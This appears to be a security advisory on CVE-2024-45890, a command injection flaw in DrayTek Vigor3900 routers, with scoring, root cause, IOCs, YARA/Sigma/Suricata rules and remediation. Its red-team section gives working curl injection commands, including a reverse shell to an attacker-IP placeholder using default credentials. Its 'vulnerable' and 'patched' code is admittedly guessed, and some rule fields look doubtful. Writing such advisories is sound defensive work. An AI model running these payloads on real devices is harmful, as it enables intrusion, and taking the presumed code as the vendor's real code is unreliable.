CVE-2024-45890

Executive Summary

CVE-2024-45890 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script when the action parameter is set to download_ovpn. An authenticated attacker can inject arbitrary operating system commands via the action parameter, leading to full remote code execution on the device. This vulnerability poses a critical risk to enterprise and SOHO networks using this router model, as it can be leveraged for persistent backdoor access, network pivoting, and data exfiltration. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded firmware component of the DrayTek Vigor3900 router.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the technical details, a realistic assessment is:

• Attack Vector (AV): Network (N) – exploitable over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – requires authentication.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): High (H) – full system compromise.
• Integrity (I): High (H) – full system compromise.
• Availability (A): High (H) – full system compromise.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability allows authenticated command injection, which can be chained with other attacks (e.g., credential theft) to achieve unauthenticated remote code execution.

Deep Dive & Mechanics

The vulnerability exists in the cgi-bin/mainfunction.cgi CGI script. When the action parameter is set to download_ovpn, the script constructs a command to generate or download an OpenVPN configuration file. The action parameter value is improperly sanitized before being passed to a system shell command (e.g., system(), popen(), or exec()).

Root Cause: The application fails to validate or sanitize the action parameter, allowing an attacker to inject shell metacharacters such as ;, |, &, or backticks. For example, a crafted request like:

POST /cgi-bin/mainfunction.cgi HTTP/1.1
...
action=download_ovpn;id

Would execute the id command after the intended operation.

Attack Flow:

1. Attacker authenticates to the router's web interface (default credentials or brute-forced).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=download_ovpn;<malicious_command>.
3. The router executes the injected command with root privileges.
4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (pseudo-code):

char action[256];
get_cgi_param("action", action);
char cmd[512];
snprintf(cmd, sizeof(cmd), "/usr/bin/ovpn_download.sh %s", action);
system(cmd);

Patched (hypothetical):

char action[256];
get_cgi_param("action", action);
// Validate action against whitelist
if (strcmp(action, "download_ovpn") != 0) {
    return_error("Invalid action");
    return;
}
char cmd[512];
snprintf(cmd, sizeof(cmd), "/usr/bin/ovpn_download.sh");
system(cmd);

The patched version would use a whitelist approach, rejecting any unexpected values for the action parameter.

Exploitation & Lab Setup

Red Team

Prerequisites:

• DrayTek Vigor3900 with firmware 1.5.1.3.
• Valid credentials (e.g., admin:admin).
• Network access to the router's web interface (port 80/443).

Exploit Steps:

1. Authenticate to the router.
2. Send a crafted POST request using curl:

curl -X POST http://<router_ip>/cgi-bin/mainfunction.cgi \
  -d "action=download_ovpn;echo 'pwned' > /tmp/pwned.txt" \
  -u admin:admin

3. Verify command execution by checking the file:

curl -u admin:admin http://<router_ip>/tmp/pwned.txt

Reverse Shell Payload:

curl -X POST http://<router_ip>/cgi-bin/mainfunction.cgi \
  -d "action=download_ovpn;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" \
  -u admin:admin

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with unusual action parameters.
• Look for shell metacharacters (;, |, &, `) in the action parameter.
• Alert on outbound connections from the router to unknown IPs on high ports (e.g., 4444).

Honeypot:

• Deploy a fake CGI endpoint that logs all action parameter values for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action containing shell metacharacters.
• Outbound connections from the router to suspicious IPs on non-standard ports.
• Unusual DNS queries from the router (e.g., to C2 domains).

Host IOCs:

• Unexpected files in /tmp/ (e.g., pwned.txt, shell.sh).
• Modified system binaries (e.g., /bin/busybox).
• New processes spawned from /cgi-bin/mainfunction.cgi (e.g., bash, nc, python).
• Unauthorized SSH keys in /etc/dropbear/authorized_keys.

Log IOCs:

• Web server logs showing action=download_ovpn; followed by commands.
• System logs showing execution of unexpected commands (e.g., id, wget).

Detection Engineering

YARA Rule

rule CVE_2024_45890_DrayTek_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45890"
    strings:
        $s1 = "action=download_ovpn" ascii wide nocase
        $s2 = ";" ascii wide
        $s3 = "|" ascii wide
        $s4 = "&" ascii wide
        $s5 = "`" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with shell metacharacters in the action parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains|all:
            - 'action=download_ovpn'
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameter values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45890 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/mainfunction.cgi";
    http_uri;
    content:"action=download_ovpn";
    http_client_body;
    pcre:"/action=download_ovpn[^&]*[;|&`]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-45890;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the Vigor3900 if not required.
2. Change default credentials immediately to strong, unique passwords.
3. Restrict access to the web interface using firewall rules (allow only trusted IPs).
4. Monitor logs for suspicious POST requests to /cgi-bin/mainfunction.cgi.

Long-term Fix:

• Apply a firmware patch from DrayTek as soon as it becomes available.
• If no patch is released, consider replacing the device with a supported alternative.

Workaround:

• Implement a WAF (Web Application Firewall) rule to block requests containing shell metacharacters in the action parameter.

Valters IT